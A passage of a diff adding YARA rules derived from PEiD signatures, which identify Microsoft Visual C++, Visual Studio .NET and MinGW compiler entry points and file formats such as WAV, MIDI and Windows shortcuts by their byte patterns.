+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6 ?? ?? 83}
+    condition:
+        $a
+}
+
+rule PEiD_01072_Microsoft_Visual_C___6_0_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ 6.0 DLL]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6 75 09 83 3D ?? ?? ?? ?? ?? EB 26 83 FE 01 74 05 83 FE 02 75 22 A1 ?? ?? ?? ?? 85 C0 74 09 57 56 53 FF D0 85 C0 74 0C 57 56 53 E8 15 FF FF FF 85 C0 75 04 33 C0 EB 4E}
+    condition:
+        $a
+}
+
+rule PEiD_01073_Microsoft_Visual_C___6_0_SFX_Custom_
+{
+    meta:
+        description = "[Microsoft Visual C++ 6.0 SFX Custom]"
+        ep_only = "true"
+    strings:
+        $a = {E8 21 48 00 00 E9 16 FE FF FF 51 C7 01 08 B4 00 30 E8 A4 48 00 00 59 C3 56 8B F1 E8 EA FF FF FF F6 ?? ?? ?? ?? 74 07 56 E8 F6 04 00 00 59 8B C6 5E C2 04 00 8B 44 24 04 83 C1 09 51 83 C0 09 50}
+    condition:
+        $a
+}
+
+rule PEiD_01074_Microsoft_Visual_C___7_0_Custom_
+{
+    meta:
+        description = "[Microsoft Visual C++ 7.0 Custom]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 00 B0 44 00 8D BE 00 60 FB FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73}
+    condition:
+        $a
+}
+
+rule PEiD_01075_Microsoft_Visual_C___7_0_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ 7.0 DLL]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 01}
+    condition:
+        $a
+}
+
+rule PEiD_01076_Microsoft_Visual_C___7_0_MFC_
+{
+    meta:
+        description = "[Microsoft Visual C++ 7.0 MFC]"
+        ep_only = "true"
+    strings:
+        $a = {6A 60 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BF 94 00 00 00 8B C7 E8 ?? ?? ?? ?? 89}
+    condition:
+        $a
+}
+
+rule PEiD_01077_Microsoft_Visual_C___7_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ 7.0]"
+        ep_only = "true"
+    strings:
+        $a = {6A 0C 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 40 89 45 E4 8B 75 0C}
+    condition:
+        $a
+}
+rule PEiD_01078_Microsoft_Visual_C___7_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ 7.0]"
+        ep_only = "true"
+    strings:
+        $a = {6A 18 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BF 94 00 00 00 8B C7 E8 ?? ?? ?? ?? 89}
+    condition:
+        $a
+}
+rule PEiD_01079_Microsoft_Visual_C___7_1_
+{
+    meta:
+        description = "[Microsoft Visual C++ 7.1]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 EC 08 53 56 57 55 FC 8B 5D 0C 8B 45 08 F7 40 04 06 00 00 00 0F 85 AB 00 00 00 89 45 F8 8B 45 10 89 45 FC 8D 45 F8 89 43 FC 8B 73 0C 8B 7B 08 53 E8 ?? ?? ?? ?? 83 C4 04 0B C0 74 7B 83 FE FF 74 7D 8D 0C 76 8B 44 8F 04 0B C0 74 59 56 55}
+    condition:
+        $a
+}
+rule PEiD_01080_Microsoft_Visual_C___7_1_
+{
+    meta:
+        description = "[Microsoft Visual C++ 7.1]"
+        ep_only = "false"
+    strings:
+        $a = {8B FF 55 8B EC 56 33 F6 39 75 0C 0F 84 ?? ?? ?? ?? 83 7D 0C 01 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 39 75 0C 0F 84 ?? ?? ?? ?? 33 C0 40 5E 5D C2 0C 00}
+    condition:
+        $a
+}
+rule PEiD_01081_Microsoft_Visual_C___7_1_
+{
+    meta:
+        description = "[Microsoft Visual C++ 7.1]"
+        ep_only = "false"
+    strings:
+        $a = {8B FF 55 8B EC 56 33 F6 39 75 0C 0F 84 ?? ?? ?? ?? 83 7D 0C 01 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 68 80 00 00 00 FF 15 ?? ?? ?? ?? 3B C6 59 A3 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 89 30 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3}
+    condition:
+        $a
+}
+rule PEiD_01082_Microsoft_Visual_C___7_1_
+{
+    meta:
+        description = "[Microsoft Visual C++ 7.1]"
+        ep_only = "false"
+    strings:
+        $a = {8B FF 55 8B EC 56 33 F6 39 75 0C 0F 84 ?? ?? ?? ?? 83 7D 0C 01 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 68 80 00 00 00 FF 15 ?? ?? ?? ?? 3B C6 59 A3 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 89 30 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 05 ?? ?? ?? ?? 59 59 33 C0 40 5E 5D C2 0C 00}
+    condition:
+        $a
+}
+rule PEiD_01083_Microsoft_Visual_C___7_1_
+{
+    meta:
+        description = "[Microsoft Visual C++ 7.1]"
+        ep_only = "false"
+    strings:
+        $a = {8B FF 55 8B EC 56 33 F6 39 75 0C 0F 84 ?? ?? ?? ?? 83 7D 0C 01 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? 75 44 68 80 00 00 00 FF 15 ?? ?? ?? ?? 3B C6 59 A3 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 89 30 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8}
+    condition:
+        $a
+}
+rule PEiD_01084_Microsoft_Visual_C___7_1_
+{
+    meta:
+        description = "[Microsoft Visual C++ 7.1]"
+        ep_only = "false"
+    strings:
+        $a = {8B FF 55 8B EC 56 33 F6 39 75 0C 75 0E 39 35 ?? ?? ?? ?? 7E 2D FF 0D ?? ?? ?? ?? 83 7D 0C 01 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? 75 3D 68 80 00 00 00 FF 15 ?? ?? ?? ?? 3B C6 59 A3 ?? ?? ?? ?? 75 04 33 C0 EB 67 89 30 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68}
+    condition:
+        $a
+}
+rule PEiD_01085_Microsoft_Visual_C___8_0__MFC__
+{
+    meta:
+        description = "[Microsoft Visual C++ 8.0 (MFC)]"
+        ep_only = "true"
+    strings:
+        $a = {48 83 EC 28 E8 ?? ?? 00 00 48 83 C4 28 E9 0E FD FF FF CC CC CC CC CC CC CC CC CC CC CC CC CC CC}
+    condition:
+        $a
+}
+/*
+rule PEiD_01086_Microsoft_Visual_C___8_0__MFC__
+{
+    meta:
+        description = "[Microsoft Visual C++ 8.0 (MFC)]"
+        ep_only = "true"
+    strings:
+        $a = {C0 ?? ?? 00 00 00 00 00 00 ?? ?? 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? 00 00 00 00 00 ?? 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 ?? 00 00 00 00 00 ?? ?? ?? 00 00}
+    condition:
+        $a
+}
+
+
+rule PEiD_01087_Microsoft_Visual_C___8_0__Debug_
+{
+    meta:
+        description = "[Microsoft Visual C++ 8.0 [Debug]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9}
+    condition:
+        $a
+}
+
+
+rule PEiD_01088_Microsoft_Visual_C___8_0__Debug__
+{
+    meta:
+        description = "[Microsoft Visual C++ 8.0 [Debug]]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9}
+    condition:
+        $a
+}
+*/
+
+rule PEiD_01089_Microsoft_Visual_C___8_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ 8.0]"
+        ep_only = "true"
+    strings:
+        $a = {48 83 EC 28 E8 ?? ?? 00 00 48 83 C4 28 E9 ?? ?? FF FF CC CC CC CC CC CC CC CC CC CC CC CC CC CC}
+    condition:
+        $a
+}
+rule PEiD_01090_Microsoft_Visual_C___8_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ 8.0]"
+        ep_only = "false"
+    strings:
+        $a = {83 3D ?? ?? ?? ?? 00 74 1A 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 59 74 0B FF 74 24 04 FF 15 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 59 59 75 54 56 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 8B C6 BF}
+    condition:
+        $a
+}
+/*
+rule PEiD_01091_Microsoft_Visual_C___8_
+{
+    meta:
+        description = "[Microsoft Visual C++ 8]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 00 00 E9 ?? ?? FF FF}
+    condition:
+        $a
+}
+*/
+rule PEiD_01092_Microsoft_Visual_C_______
+{
+    meta:
+        description = "[Microsoft Visual C++ ?.?]"
+        ep_only = "true"
+    strings:
+        $a = {83 ?? ?? 6A 00 FF 15 F8 10 0B B0 8D ?? ?? ?? 51 6A 08 6A 00 6A 00 68}
+    condition:
+        $a
+}
+
+rule PEiD_01093_Microsoft_Visual_C___DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ DLL]"
+        ep_only = "true"
+    strings:
+        $a = {53 55 56 8B 74 24 14 85 F6 57 B8 01 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01094_Microsoft_Visual_C___DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ DLL]"
+        ep_only = "true"
+    strings:
+        $a = {53 56 57 BB 01 ?? ?? ?? 8B ?? 24 14}
+    condition:
+        $a
+}
+rule PEiD_01095_Microsoft_Visual_C___DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ DLL]"
+        ep_only = "true"
+    strings:
+        $a = {53 B8 01 00 00 00 8B 5C 24 0C 56 57 85 DB 55 75 12 83 3D ?? ?? ?? ?? ?? 75 09 33 C0}
+    condition:
+        $a
+}
+rule PEiD_01096_Microsoft_Visual_C___DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ DLL]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 56 57 BF 01 00 00 00 8B 75 0C}
+    condition:
+        $a
+}
+
+rule PEiD_01097_Microsoft_Visual_C___v4_2_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ v4.2 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {53 B8 ?? ?? ?? ?? 8B ?? ?? ?? 56 57 85 DB 55 75}
+    condition:
+        $a
+}
+rule PEiD_01098_Microsoft_Visual_C___v4_2_
+{
+    meta:
+        description = "[Microsoft Visual C++ v4.2]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 64 ?? ?? ?? ?? ?? ?? 83 ?? ?? 53 56 57 89 ?? ?? C7}
+    condition:
+        $a
+}
+
+rule PEiD_01099_Microsoft_Visual_C___v4_2_
+{
+    meta:
+        description = "[Microsoft Visual C++ v4.2]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 64 ?? ?? ?? ?? ?? ?? 83 ?? ?? 53 56 57 89 ?? ?? FF}
+    condition:
+        $a
+}
+rule PEiD_01100_Microsoft_Visual_C___v4_x_
+{
+    meta:
+        description = "[Microsoft Visual C++ v4.x]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 64 89 25 00 00 00 00 83 EC ?? 53 56 57}
+    condition:
+        $a
+}
+rule PEiD_01101_Microsoft_Visual_C___v5_0_v6_0__MFC__
+{
+    meta:
+        description = "[Microsoft Visual C++ v5.0/v6.0 (MFC)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50}
+    condition:
+        $a
+}
+
+rule PEiD_01102_Microsoft_Visual_C___v5_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ v5.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 68 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 53 56 57}
+    condition:
+        $a
+}
+rule PEiD_01103_Microsoft_Visual_C___v6_0_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ v6.0 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C}
+    condition:
+        $a
+}
+rule PEiD_01104_Microsoft_Visual_C___v6_0_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ v6.0 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {55 8D 6C ?? ?? 81 EC ?? ?? ?? ?? 8B 45 ?? 83 F8 01 56 0F 84 ?? ?? ?? ?? 85 C0 0F 84}
+    condition:
+        $a
+}
+
+rule PEiD_01105_Microsoft_Visual_C___v6_0_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ v6.0 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 75 09 8B 44 24 04 A3 ?? ?? 00 10 E8 8B FF FF FF}
+    condition:
+        $a
+}
+rule PEiD_01106_Microsoft_Visual_C___v6_0_SPx_
+{
+    meta:
+        description = "[Microsoft Visual C++ v6.0 SPx]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 44 56 FF 15 ?? ?? ?? ?? 6A 01 8B F0 FF 15}
+    condition:
+        $a
+}
+
+rule PEiD_01107_Microsoft_Visual_C___v6_0_SPx_
+{
+    meta:
+        description = "[Microsoft Visual C++ v6.0 SPx]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 44 56 FF 15 ?? ?? ?? ?? 8B F0 8A ?? 3C 22}
+    condition:
+        $a
+}
+rule PEiD_01108_Microsoft_Visual_C___v6_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ v6.0]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC ?? 53 56 57}
+    condition:
+        $a
+}
+rule PEiD_01109_Microsoft_Visual_C___v6_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ v6.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 50 53 56 57 BE ?? ?? ?? ?? 8D 7D F4 A5 A5 66 A5 8B}
+    condition:
+        $a
+}
+
+rule PEiD_01110_Microsoft_Visual_C___v6_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ v6.0]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC ?? 53 56 57 89 65 E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF}
+    condition:
+        $a
+}
+/*
+rule PEiD_01111_Microsoft_Visual_C___v7_0__64_Bit__
+{
+    meta:
+        description = "[Microsoft Visual C++ v7.0 (64 Bit)]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? 41 00 00 00 00 00 00 00 63 00 00 00 00 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? 20 ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? ?? ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? ?? ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? ?? ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? ?? ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? ?? ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? 00 ?? ?? ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_01112_Microsoft_Visual_C___v7_0__64_Bit__
+{
+    meta:
+        description = "[Microsoft Visual C++ v7.0 (64 Bit)]"
+        ep_only = "false"
+    strings:
+        $a = {?? ?? 41 00 00 00 00 00 00 00 63 00 00 00 00 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? 20 ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+*/
+rule PEiD_01113_Microsoft_Visual_C___v7_0_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ v7.0 DLL]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 ?? ?? 83}
+    condition:
+        $a
+}
+
+rule PEiD_01114_Microsoft_Visual_C___v7_0_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ v7.0 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10}
+    condition:
+        $a
+}
+
+rule PEiD_01115_Microsoft_Visual_C___v7_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ v7.0]"
+        ep_only = "true"
+    strings:
+        $a = {6A 0C 68 88 BF 01 10 E8 B8 1C 00 00 33 C0 40 89 45 E4 8B 75 0C 33 FF 3B F7 75 0C 39 3D 6C 1E 12 10 0F 84 B3 00 00 00 89 7D FC 3B F0 74 05 83 FE 02 75 31 A1 98 36 12 10 3B C7 74 0C FF 75 10 56}
+    condition:
+        $a
+}
+
+rule PEiD_01116_Microsoft_Visual_C___v7_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ v7.0]"
+        ep_only = "true"
+    strings:
+        $a = {6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? 8B C7 E8 ?? ?? ?? ?? 89 65 ?? 8B F4 89 3E 56 FF 15 ?? ?? ?? ?? 8B 4E ?? 89 0D ?? ?? ?? ?? 8B 46 ?? A3}
+    condition:
+        $a
+}
+rule PEiD_01117_Microsoft_Visual_C___v7_1_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ v7.1 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10 75 09 83 3D ?? ?? 40 00 00 EB 26 83 FE 01 74 05 83 FE 02 75 22 A1}
+    condition:
+        $a
+}
+rule PEiD_01118_Microsoft_Visual_C___v7_1_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ v7.1 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 C4 E4 53 56 57 89 65 E8 C7 45 E4 01 00 00 00 C7 45 FC}
+    condition:
+        $a
+}
+rule PEiD_01119_Microsoft_Visual_C___v7_1_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ v7.1 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {6A 0C 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 40 89 45 E4}
+    condition:
+        $a
+}
+rule PEiD_01120_Microsoft_Visual_C___v7_1_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ v7.1 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 75 ?? ?? ?? 24 04 50 A3 ?? ?? ?? 50 FF 15 00 10 ?? 50 33 C0 40 C2 0C 00}
+    condition:
+        $a
+}
+rule PEiD_01121_Microsoft_Visual_C___v7_1_EXE_
+{
+    meta:
+        description = "[Microsoft Visual C++ v7.1 EXE]"
+        ep_only = "true"
+    strings:
+        $a = {6A ?? 68 ?? ?? ?? 01 E8 ?? ?? 00 00 66 81 3D 00 00 00 01 4D 5A 75 ?? A1 3C 00 00 01 ?? ?? 00 00 00 01}
+    condition:
+        $a
+}
+rule PEiD_01122_Microsoft_Visual_C___V8_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ V8.0]"
+        ep_only = "true"
+    strings:
+        $a = {6A 14 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BB 94 00 00 00 53 6A 00 8B ?? ?? ?? ?? ?? FF D7 50 FF ?? ?? ?? ?? ?? 8B F0 85 F6 75 0A 6A 12 E8 ?? ?? ?? ?? 59 EB 18 89 1E 56 FF ?? ?? ?? ?? ?? 56 85 C0 75 14 50 FF D7 50 FF ?? ?? ?? ?? ?? B8}
+    condition:
+        $a
+}
+rule PEiD_01123_Microsoft_Visual_C___vx_x_
+{
+    meta:
+        description = "[Microsoft Visual C++ vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {53 55 56 8B ?? ?? ?? 85 F6 57 B8 ?? ?? ?? ?? 75 ?? 8B ?? ?? ?? ?? ?? 85 C9 75 ?? 33 C0 5F 5E 5D 5B C2}
+    condition:
+        $a
+}
+rule PEiD_01124_Microsoft_Visual_C___vx_x_
+{
+    meta:
+        description = "[Microsoft Visual C++ vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 56 57 BF ?? ?? ?? ?? 8B ?? ?? 3B F7 0F}
+    condition:
+        $a
+}
+rule PEiD_01125_Microsoft_Visual_C___
+{
+    meta:
+        description = "[Microsoft Visual C++]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01126_Microsoft_Visual_C___
+{
+    meta:
+        description = "[Microsoft Visual C++]"
+        ep_only = "true"
+    strings:
+        $a = {8B 44 24 08 56 83 E8 ?? 74 ?? 48 75}
+    condition:
+        $a
+}
+
+rule PEiD_01127_Microsoft_Visual_C___
+{
+    meta:
+        description = "[Microsoft Visual C++]"
+        ep_only = "true"
+    strings:
+        $a = {8B 44 24 08 83 ?? ?? 74}
+    condition:
+        $a
+}
+
+rule PEiD_01128_Microsoft_Visual_Studio__NET_
+{
+    meta:
+        description = "[Microsoft Visual Studio .NET]"
+        ep_only = "true"
+    strings:
+        $a = {FF 25 00 20 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01129_Microsoft_WAV_Audio_file_
+{
+    meta:
+        description = "[Microsoft WAV Audio file]"
+        ep_only = "false"
+    strings:
+        $a = {52 49 46 46 ?? ?? ?? ?? 57 41 56 45 66 6D 74}
+    condition:
+        $a
+}
+
+rule PEiD_01130_Microsoft_Windows_Shortcut_file_
+{
+    meta:
+        description = "[Microsoft Windows Shortcut file]"
+        ep_only = "false"
+    strings:
+        $a = {4C 00 00 00 01 14 02 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01131_Microsoft_Windows_Update_CAB_SFX_module_
+{
+    meta:
+        description = "[Microsoft Windows Update CAB SFX module]"
+        ep_only = "false"
+    strings:
+        $a = {E9 C5 FA FF FF 55 8B EC 56 8B 75 08 68 04 08 00 00 FF D6 59 33 C9 3B C1 75 0F 51 6A 05 FF 75 28 E8 2E 11 00 00 33 C0 EB 69 8B 55 0C 83 88 88 00 00 00 FF 83 88 84 00 00 00 FF 89 50 04 8B 55 10 89 50 0C 8B 55 14 89 50 10 8B 55 18 89 50 14 8B 55 1C 89 50 18}
+    condition:
+        $a
+}
+
+rule PEiD_01132_Microsoft_Windows_Update_CAB_SFX_module_
+{
+    meta:
+        description = "[Microsoft Windows Update CAB SFX module]"
+        ep_only = "false"
+    strings:
+        $a = {E9 C5 FA FF FF 55 8B EC 56 8B 75 08 68 04 08 00 00 FF D6 59 33 C9 3B C1 75 0F 51 6A 05 FF 75 28 E8 2E 11 00 00 33 C0 EB 69 8B 55 0C 83 88 88 00 00 00 FF 83 88 84 00 00 00 FF 89 50 04 8B 55 10 89 50 0C 8B 55 14 89 50 10 8B 55 18 89 50 14 8B 55 1C 89 50 18 8B 55 20 89 50 1C 8B 55 24 89 50 20 8B 55 28 89 48 48 89 48 44 89 48 4C B9 FF FF 00 00 89 70 08 89 10 66 C7 80 B2 00 00 00 0F 00 89 88 A0 00 00 00 89 88 A8 00 00 00 89 88 A4 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01133_MIDI_Music_file_
+{
+    meta:
+        description = "[MIDI Music file]"
+        ep_only = "false"
+    strings:
+        $a = {4D 54 68 64 00 00 00 06 ?? ?? ?? ?? ?? ?? 4D 54}
+    condition:
+        $a
+}
+
+rule PEiD_01134_MinGW_3_2_x__Dll_main__
+{
+    meta:
+        description = "[MinGW 3.2.x (Dll_main)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 83 EC 18 89 75 FC 8B 75 0C 89 5D F8 83 FE 01 74 5C 89 74 24 04 8B 55 10 89 54 24 08 8B 55 08 89 14 24 E8 96 01 00 00 83 EC 0C 83 FE 01 89 C3 74 2C 85 F6 75 0C 8B 0D 00 30 00 10 85 C9 75 10 31 DB 89 D8 8B 5D F8 8B 75 FC 89 EC 5D C2 0C 00 E8 59 00}
+    condition:
+        $a
+}
+
+rule PEiD_01135_MinGW_3_2_x__Dll_WinMain__
+{
+    meta:
+        description = "[MinGW 3.2.x (Dll_WinMain)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 83 EC 18 89 75 FC 8B 75 0C 89 5D F8 83 FE 01 74 5C 89 74 24 04 8B 55 10 89 54 24 08 8B 55 08 89 14 24 E8 76 01 00 00 83 EC 0C 83 FE 01 89 C3 74 2C 85 F6 75 0C 8B 0D 00 30 00 10 85 C9 75 10 31 DB 89 D8 8B 5D F8 8B 75 FC 89 EC 5D C2 0C 00 E8 59 00}
+    condition:
+        $a
+}
+
+rule PEiD_01136_MinGW_3_2_x__main__
+{
+    meta:
+        description = "[MinGW 3.2.x (main)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 E4 40 40 00 E8 68 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 E4 40 40 00 E8 48 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 00 41 40 00 89 EC 5D}
+    condition:
+        $a
+}
+
+rule PEiD_01137_MinGW_3_2_x__WinMain__
+{
+    meta:
+        description = "[MinGW 3.2.x (WinMain)]"
+        ep_only = "false"
+    strings:
